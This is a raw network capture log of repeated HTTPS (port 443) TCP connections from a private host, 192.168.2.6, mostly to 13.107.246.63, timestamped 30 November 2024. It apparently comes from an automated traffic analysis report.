Nov 30, 2024 04:13:18.911974907 CET	49927	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.911995888 CET	443	49927	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.912010908 CET	49927	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.912015915 CET	443	49927	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.915342093 CET	49932	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.915393114 CET	443	49932	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:18.915479898 CET	49932	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.915677071 CET	49932	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:18.915688992 CET	443	49932	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.017503977 CET	443	49928	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.017537117 CET	443	49928	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.017576933 CET	443	49928	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.017678022 CET	49928	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.017678022 CET	49928	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.017971039 CET	49928	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.017991066 CET	443	49928	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.018007040 CET	49928	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.018013000 CET	443	49928	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.021367073 CET	49933	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.021405935 CET	443	49933	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.021511078 CET	49933	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.021709919 CET	49933	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.021723986 CET	443	49933	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.184600115 CET	443	49929	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.184679031 CET	443	49929	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.184731007 CET	49929	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.184895992 CET	49929	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.184917927 CET	443	49929	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.184950113 CET	49929	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.184956074 CET	443	49929	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.187963009 CET	49934	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.188004017 CET	443	49934	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.188071966 CET	49934	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.188291073 CET	49934	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.188308954 CET	443	49934	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.467963934 CET	443	49930	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.468517065 CET	49930	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.468540907 CET	443	49930	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.469011068 CET	49930	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.469022989 CET	443	49930	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.912630081 CET	443	49930	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.915853024 CET	443	49930	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.915952921 CET	49930	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.915997028 CET	49930	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.916017056 CET	443	49930	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.916039944 CET	49930	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.916045904 CET	443	49930	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.918970108 CET	49935	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.919048071 CET	443	49935	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:19.919131041 CET	49935	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.919270992 CET	49935	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:19.919285059 CET	443	49935	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.133096933 CET	443	49931	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.133742094 CET	49931	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.133783102 CET	443	49931	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.134238005 CET	49931	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.134248972 CET	443	49931	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.576898098 CET	443	49931	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.580327034 CET	443	49931	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.580415010 CET	49931	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.580463886 CET	49931	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.580485106 CET	443	49931	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.580495119 CET	49931	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.580499887 CET	443	49931	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.583554029 CET	49936	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.583579063 CET	443	49936	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.583659887 CET	49936	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.583806038 CET	49936	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.583816051 CET	443	49936	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.703941107 CET	443	49932	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.704694986 CET	49932	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.704711914 CET	443	49932	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.705198050 CET	49932	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.705203056 CET	443	49932	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.865786076 CET	443	49933	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.866327047 CET	49933	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.866349936 CET	443	49933	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.866820097 CET	49933	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.866825104 CET	443	49933	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.972109079 CET	443	49934	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.972790003 CET	49934	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.972814083 CET	443	49934	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:20.973335028 CET	49934	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:20.973342896 CET	443	49934	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.149499893 CET	443	49932	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.152653933 CET	443	49932	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.152709007 CET	443	49932	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.152894020 CET	49932	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.152894020 CET	49932	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.152894020 CET	49932	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.152894020 CET	49932	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.155946970 CET	49937	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.155997038 CET	443	49937	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.156069994 CET	49937	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.156234980 CET	49937	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.156245947 CET	443	49937	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.319515944 CET	443	49933	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.322634935 CET	443	49933	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.322767973 CET	49933	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.322880983 CET	49933	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.322895050 CET	443	49933	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.322911978 CET	49933	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.322917938 CET	443	49933	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.326040983 CET	49938	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.326057911 CET	443	49938	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.326126099 CET	49938	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.326267958 CET	49938	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.326276064 CET	443	49938	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.417886972 CET	443	49934	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.421019077 CET	443	49934	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.421083927 CET	443	49934	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.421107054 CET	49934	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.421156883 CET	49934	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.421217918 CET	49934	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.421237946 CET	443	49934	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.421253920 CET	49934	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.421260118 CET	443	49934	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.424364090 CET	49939	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.424411058 CET	443	49939	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.424477100 CET	49939	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.424638987 CET	49939	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.424650908 CET	443	49939	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.457488060 CET	49932	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.457524061 CET	443	49932	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.701019049 CET	443	49935	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.701852083 CET	49935	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.701864958 CET	443	49935	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:21.702413082 CET	49935	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:21.702416897 CET	443	49935	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.147377014 CET	443	49935	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.150491953 CET	443	49935	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.150561094 CET	49935	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.150608063 CET	49935	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.150629997 CET	443	49935	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.150640965 CET	49935	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.150645971 CET	443	49935	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.153764963 CET	49940	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.153794050 CET	443	49940	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.153872013 CET	49940	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.154031992 CET	49940	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.154042959 CET	443	49940	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.381048918 CET	443	49936	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.381583929 CET	49936	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.381634951 CET	443	49936	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.382102966 CET	49936	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.382108927 CET	443	49936	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.825498104 CET	443	49936	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.828583956 CET	443	49936	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.828684092 CET	49936	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.828736067 CET	49936	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.828764915 CET	443	49936	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.828777075 CET	49936	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.828782082 CET	443	49936	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.832052946 CET	49941	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.832103968 CET	443	49941	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.832204103 CET	49941	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.832422018 CET	49941	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.832434893 CET	443	49941	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.935770988 CET	443	49937	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.936351061 CET	49937	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.936367035 CET	443	49937	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:22.936856031 CET	49937	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:22.936861038 CET	443	49937	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.106146097 CET	443	49938	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.106740952 CET	49938	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.106751919 CET	443	49938	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.107237101 CET	49938	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.107240915 CET	443	49938	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.140506983 CET	443	49939	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.140887022 CET	49939	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.140902996 CET	443	49939	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.141275883 CET	49939	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.141282082 CET	443	49939	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.379647970 CET	443	49937	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.379731894 CET	443	49937	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.379812002 CET	49937	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.380270004 CET	49937	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.380289078 CET	443	49937	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.380299091 CET	49937	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.380305052 CET	443	49937	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.383306026 CET	49942	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.383358955 CET	443	49942	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.383435011 CET	49942	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.383599043 CET	49942	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.383608103 CET	443	49942	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.550657034 CET	443	49938	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.553838968 CET	443	49938	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.553914070 CET	49938	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.553994894 CET	49938	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.554007053 CET	443	49938	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.554014921 CET	49938	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.554018974 CET	443	49938	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.557122946 CET	49943	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.557185888 CET	443	49943	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.557267904 CET	49943	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.557437897 CET	49943	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.557454109 CET	443	49943	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.575520992 CET	443	49939	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.578660011 CET	443	49939	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.578720093 CET	49939	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.578762054 CET	49939	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.578775883 CET	443	49939	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.578785896 CET	49939	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.578790903 CET	443	49939	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.581224918 CET	49944	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.581274033 CET	443	49944	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.581345081 CET	49944	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.581471920 CET	49944	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.581485987 CET	443	49944	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.868272066 CET	443	49940	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.868967056 CET	49940	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.868992090 CET	443	49940	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:23.869481087 CET	49940	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:23.869486094 CET	443	49940	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.307811975 CET	443	49940	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.309643984 CET	443	49940	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.309711933 CET	49940	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.309835911 CET	49940	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.309870958 CET	443	49940	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.309885979 CET	49940	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.309895039 CET	443	49940	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.312745094 CET	49945	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.312783957 CET	443	49945	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.313065052 CET	49945	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.313257933 CET	49945	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.313275099 CET	443	49945	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.551657915 CET	443	49941	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.552337885 CET	49941	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.552365065 CET	443	49941	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.552901030 CET	49941	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.552906036 CET	443	49941	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.990250111 CET	443	49941	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.990322113 CET	443	49941	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.990602016 CET	49941	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.990672112 CET	49941	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.990693092 CET	443	49941	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.990706921 CET	49941	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.990711927 CET	443	49941	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.994075060 CET	49946	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.994127989 CET	443	49946	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:24.994205952 CET	49946	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.994417906 CET	49946	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:24.994429111 CET	443	49946	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.231636047 CET	443	49942	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.232217073 CET	49942	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.232260942 CET	443	49942	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.232851028 CET	49942	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.232856989 CET	443	49942	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.297585011 CET	443	49944	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.298082113 CET	49944	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.298098087 CET	443	49944	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.298567057 CET	49944	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.298572063 CET	443	49944	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.337142944 CET	443	49943	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.337845087 CET	49943	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.337872028 CET	443	49943	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.338336945 CET	49943	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.338341951 CET	443	49943	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.684811115 CET	443	49942	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.688160896 CET	443	49942	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.688208103 CET	443	49942	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.688230991 CET	49942	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.688273907 CET	49942	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.688332081 CET	49942	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.688354969 CET	443	49942	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.688364983 CET	49942	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.688370943 CET	443	49942	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.691415071 CET	49947	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.691428900 CET	443	49947	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.691494942 CET	49947	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.691642046 CET	49947	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.691656113 CET	443	49947	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.731987000 CET	443	49944	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.735445023 CET	443	49944	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.735522985 CET	49944	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.735584021 CET	49944	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.735596895 CET	443	49944	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.735608101 CET	49944	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.735613108 CET	443	49944	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.738591909 CET	49948	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.738642931 CET	443	49948	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.738713026 CET	49948	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.738879919 CET	49948	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.738890886 CET	443	49948	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.780436993 CET	443	49943	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.783946037 CET	443	49943	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.784024954 CET	49943	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.784962893 CET	49943	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.784986973 CET	443	49943	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.784998894 CET	49943	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.785003901 CET	443	49943	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.789292097 CET	49949	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.789390087 CET	443	49949	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.789490938 CET	49949	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.789664984 CET	49949	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:25.789697886 CET	443	49949	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:25.868217945 CET	49950	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:25.868275881 CET	443	49950	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:25.868367910 CET	49950	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:25.868911028 CET	49950	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:25.868940115 CET	443	49950	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:26.165731907 CET	443	49945	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:26.183078051 CET	49945	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:26.183106899 CET	443	49945	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:26.183569908 CET	49945	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:26.183579922 CET	443	49945	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:26.626117945 CET	443	49945	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:26.629201889 CET	443	49945	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:26.629281044 CET	49945	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:26.629322052 CET	49945	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:26.629322052 CET	49945	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:26.629338026 CET	443	49945	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:26.629348040 CET	443	49945	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:26.632262945 CET	49951	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:26.632308960 CET	443	49951	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:26.632415056 CET	49951	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:26.632560968 CET	49951	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:26.632570982 CET	443	49951	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:26.807142973 CET	443	49946	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:26.807854891 CET	49946	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:26.807884932 CET	443	49946	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:26.808374882 CET	49946	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:26.808382988 CET	443	49946	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.252643108 CET	443	49946	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.252667904 CET	443	49946	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.252731085 CET	49946	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.252764940 CET	443	49946	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.253102064 CET	49946	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.253110886 CET	443	49946	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.253129959 CET	49946	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.253298998 CET	443	49946	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.253345013 CET	443	49946	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.253379107 CET	49946	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.256455898 CET	49952	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.256504059 CET	443	49952	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.256565094 CET	49952	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.256772995 CET	49952	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.256784916 CET	443	49952	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.471560001 CET	443	49947	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.472362041 CET	49947	443	192.168.2.6	13.107.246.63
